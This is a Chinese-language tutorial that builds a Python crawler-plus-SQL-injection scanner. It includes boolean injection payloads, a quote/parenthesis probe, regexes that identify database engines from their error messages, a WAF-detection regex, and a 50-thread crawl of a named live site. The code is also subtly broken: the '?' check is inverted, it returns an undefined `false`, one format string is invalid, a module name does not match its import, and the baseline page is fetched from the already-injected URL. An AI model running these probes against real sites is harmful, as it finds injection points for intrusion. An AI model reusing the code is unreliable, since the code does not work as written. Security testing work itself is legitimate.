Python编写SQL注入检测与爬虫插件实战教程
本文详细介绍如何使用Python编写一个集网页爬虫与SQL注入检测于一体的插件。通过构建多线程爬虫管理URL，利用布尔盲注Payload对比页面响应差异来检测注入点，并结合正则表达式识别数据库类型。文章提供完整的代码结构、依赖库安装及核心逻辑解析，适用于安全研究人员进行自动化漏洞扫描开发。
扫描器功能架构思维导图
爬虫模块的设计思路
首先需开发一个网页爬虫以收集目标网站的链接。爬虫需维护已爬取和待爬取的链接集合，并执行去重操作。利用Python内置的set()数据结构即可高效实现去重。主要流程如下：
- 接收初始URL输入
- 下载页面并解析提取其中的URL
- 对URL进行去重处理，并判断是否属于同一站点
- 将有效新URL加入待爬取列表
- 循环执行上述步骤
SQL注入检测的核心逻辑
- 在原始URL后附加布尔型测试语句，例如AND %d=%d或OR NOT (%d>%d)
- %d占位符处的数字为随机生成的数值
- 随后在返回的网页内容中搜索特定的错误关键词，例如：
MySQL返回SQL syntax.*MySQL Microsoft SQL Server返回Warning.*mssql_ Microsoft Access返回Microsoft Access Driver Oracle返回Oracle error IBM DB2返回DB2 SQL error SQLite返回SQLite.Exception ...
通过匹配这些特定关键词，可以推断出目标站点使用的数据库类型
- 此外，还需检测是否存在WAF（Web应用防火墙）。若检测到WAF特征，则应直接停止扫描。简单的检测方法是访问特定URL，若返回包含IP banned、firewall等关键词的页面，则判定存在WAF。对应的正则表达式为(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)
- 开发环境准备
请安装以下Python库
pip install requests pip install beautifulsoup4
实验环境为Linux系统。创建一个名为Code的目录，并在其中创建work文件夹作为项目工作目录
项目目录结构如下
/w8ay.py // 项目启动主文件 /lib/core // 核心模块存放目录 /lib/core/config.py // 配置文件 /script // 插件脚本存放目录 /exp // 漏洞利用脚本（exp）和概念验证脚本（poc）存放目录
实现步骤
编写SQL检测脚本
DBMS_ERRORS = {
'MySQL': (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}
利用正则表达式匹配错误信息，从而判断数据库类型
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
if (re.search(regex,_content)):
return True
以下是用于测试的Payload示例
BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")
通过比较报错语句返回的正确页面内容与错误页面内容，进行差异分析
for test_payload in BOOLEAN_TESTS:
# Right Page
RANDINT = random.randint(1, 255)
_url = url + test_payload % (RANDINT, RANDINT)
content["true"] = Downloader.get(_url)
_url = url + test_payload % (RANDINT, RANDINT + 1)
content["false"] = Downloader.get(_url)
if content["origin"] == content["true"] != content["false"]:
return "sql found: %" % url
核心判断逻辑如下
content["origin"] == content["true"] != content["false"]
该逻辑意为：当原始网页内容与“正确”网页内容一致，且与“错误”网页内容不一致时，即可判定该地址存在注入漏洞
完整代码实现如下
import re, random
from lib.core import Download
def sqlcheck(url):
if (not url.find("?")): # Pseudo-static page
return false;
Downloader = Download.Downloader()
BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")
DBMS_ERRORS = {
# regular expressions used for DBMS recognition based on error message response
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}
_url = url + "%29%28%22%27"
_content = Downloader.get(_url)
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
if (re.search(regex,_content)):
return True
content = {}
content['origin'] = Downloader.get(_url)
for test_payload in BOOLEAN_TESTS:
# Right Page
RANDINT = random.randint(1, 255)
_url = url + test_payload % (RANDINT, RANDINT)
content["true"] = Downloader.get(_url)
_url = url + test_payload % (RANDINT, RANDINT + 1)
content["false"] = Downloader.get(_url)
if content["origin"] == content["true"] != content["false"]:
return "sql found: %" % url
将该文件命名为sqlcheck.py，并放置在/script目录下。代码第4行的作用是检查URL是否包含问号“?”。若URL不包含问号（如伪静态页面），通常难以注入，因此需将其过滤掉
爬虫模块的实现
爬虫思路前文已述，首先完成URL管理模块。我们将其封装为独立类，文件保存为/lib/core/UrlManager.py
#-*- coding:utf-8 -*-
class UrlManager(object):
def __init__(self):
self.new_urls = set()
self.old_urls = set()
def add_new_url(self, url):
if url is None:
return
if url not in self.new_urls and url not in self.old_urls:
self.new_urls.add(url)
def add_new_urls(self, urls):
if urls is None or len(urls) == 0:
return
for url in urls:
self.add_new_url(url)
def has_new_url(self):
return len(self.new_urls) != 0
def get_new_url(self):
new_url = self.new_urls.pop()
self.old_urls.add(new_url)
return new_url
为便于复用，将下载功能也封装为独立类，文件保存为lib/core/Downloader.py
#-*- coding:utf-8 -*-
import requests
class Downloader(object):
def get(self, url):
r = requests.get(url, timeout = 10)
if r.status_code != 200:
return None
_str = r.text
return _str
def post(self, url, data):
r = requests.post(url, data)
_str = r.text
return _str
def download(self, url, htmls):
if url is None:
return None
_str = {}
_str["url"] = url
try:
r = requests.get(url, timeout = 10)
if r.status_code != 200:
return None
_str["html"] = r.text
except Exception as e:
return None
htmls.append(_str)
特别说明：由于爬虫需支持多线程，因此类中包含一个download方法，专门用于多线程环境下的页面下载
在lib/core/Spider.py中编写爬虫主逻辑
#-*- coding:utf-8 -*-
from lib.core import Downloader, UrlManager
import threading
from urllib import parse
from urllib.parse import urljoin
from bs4 import BeautifulSoup
class SpiderMain(object):
def __init__(self, root, threadNum):
self.urls = UrlManager.UrlManager()
self.download = Downloader.Downloader()
self.root = root
self.threadNum = threadNum
def _judge(self, domain, url):
if (url.find(domain) != -1):
return True
return False
def _parse(self, page_url, content):
if content is None:
return
soup = BeautifulSoup(content, 'html.parser')
_news = self._get_new_urls(page_url, soup)
return _news
def _get_new_urls(self, page_url, soup):
new_urls = set()
links = soup.find_all('a')
for link in links:
new_url = link.get('href')
new_full_url = urljoin(page_url, new_url)
if (self._judge(self.root, new_full_url)):
new_urls.add(new_full_url)
return new_urls
def craw(self):
self.urls.add_new_url(self.root)
while self.urls.has_new_url():
_content = []
th = []
for i in list(range(self.threadNum)):
if self.urls.has_new_url() is False:
break
new_url = self.urls.get_new_url()
## sql check
try:
if (sqlcheck.sqlcheck(new_url)):
print("url:%s sqlcheck is valueable" % new_url)
except:
pass
print("craw:" + new_url)
t = threading.Thread(target = self.download.download, args = (new_url, _content))
t.start()
th.append(t)
for t in th:
t.join()
for _str in _content:
if _str is None:
continue
new_urls = self._parse(new_url, _str["html"])
self.urls.add_new_urls(new_urls)
爬虫通过调用craw()方法传入初始网址进行爬取。采用多线程方式下载待爬网站，下载后的源码交由_parse方法使用BeautifulSoup进行解析。将解析出的URL列表送入URL管理器，如此循环，直到网页爬取完毕，爬虫自动停止
利用threading库可自定义开启的线程数量。线程启动后，每个线程获取一个URL进行下载，线程执行完毕后阻塞，待所有线程完成后再放行
爬虫与SQL检测模块的结合
在lib/core/Spider.py文件中引入from script import sqlcheck。在craw()方法中，每当获取新URL时，调用SQL检测函数
##sql check
try:
if(sqlcheck.sqlcheck(new_url)):
print("url:%s sqlcheck is valueable"%new_url)
except:
pass
使用try语句捕获可能出现的异常，避免程序崩溃。在文件w8ay.py中进行整体测试
#-*- coding:utf-8 -*- ''' Name: w8ayScan Author: mathor Copyright (c) 2019 ''' import sys from lib.core.Spider import SpiderMain def main(): root = "https://wmathor.com" threadNum = 50 w8 = SpiderMain(root, threadNum) w8.craw() if __name__ == "__main__": main()
关键步骤：为使lib和script文件夹中的.py文件能被Python识别为模块，必须在lib、lib/core和script文件夹中分别创建__init__.py文件，文件内容可为空
总结
SQL注入检测通过构造特定Payload使页面产生差异，对比原始网页、正确响应网页和错误响应网页，即可判断是否存在SQL注入漏洞。 通过匹配SQL报错返回的信息，利用正则表达式可识别所使用的数据库类型
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